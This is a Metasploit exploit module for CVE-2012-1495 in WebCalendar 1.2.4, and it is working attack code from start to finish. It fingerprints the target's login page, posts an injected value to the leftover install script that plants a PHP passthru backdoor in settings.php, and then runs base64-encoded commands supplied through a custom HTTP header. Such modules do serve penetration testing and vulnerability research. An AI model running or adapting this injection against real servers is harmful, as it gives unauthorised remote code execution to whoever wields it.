WebCalendar 1.2.4 Pre-Auth Remote Code Injection

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "WebCalendar 1.2.4 Pre-Auth Remote Code Injection",  
'Description' => %q{  
This modules exploits a vulnerability found in k5n.us WebCalendar, version 1.2.4 or  
less. If not removed, the settings.php script meant for installation can be  
update by an attacker, and then inject code in it. This allows arbitrary code  
execution as www-data.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'EgiX', #Initial discovery & PoC  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['CVE', '2012-1495'],  
['OSVDB', '81329'],  
['EDB', '18775']  
],  
'Arch' => ARCH_CMD,  
'Platform' => ['unix', 'linux'],  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
},  
'Targets' =>  
[  
['WebCalendar 1.2.4 on Linux', {}],  
],  
'Privileged' => false,  
'DisclosureDate' => "Apr 23 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path to webcalendar', '/WebCalendar-1.2.4/'])  
], self.class)  
end  
  
def check  
uri = target_uri.path  
uri << '/' if uri[-1, 1] != '/'  
  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{uri}/login.php"  
})  
  
if res and res.body =~ /WebCalendar v1.2.\d/  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
  
def exploit  
peer = "#{rhost}:#{rport}"  
  
uri = target_uri.path  
uri << '/' if uri[-1, 1] != '/'  
  
print_status("#{peer} - Housing php payload...")  
  
# Allow commands to be passed as a header.  
# We use 'data' instead of 'vars_post to avoid the MSF API escapeing our stuff.  
post_data = "app_settings=1"  
post_data << "&form_user_inc=user.php"  
post_data << "&form_single_user_login=*/print(____);passthru(base64_decode($_SERVER[HTTP_CMD]));die;"  
post_data << "\n"*2  
send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri}install/index.php",  
'data' => post_data  
})  
  
print_status("#{peer} - Loading our payload...")  
  
# Execute our payload  
send_request_raw({  
'method' => 'GET',  
'uri' => "#{uri}includes/settings.php",  
'headers' => {  
'Cmd' => Rex::Text.encode_base64(payload.encoded)  
}  
})  
  
handler  
end  
end  
`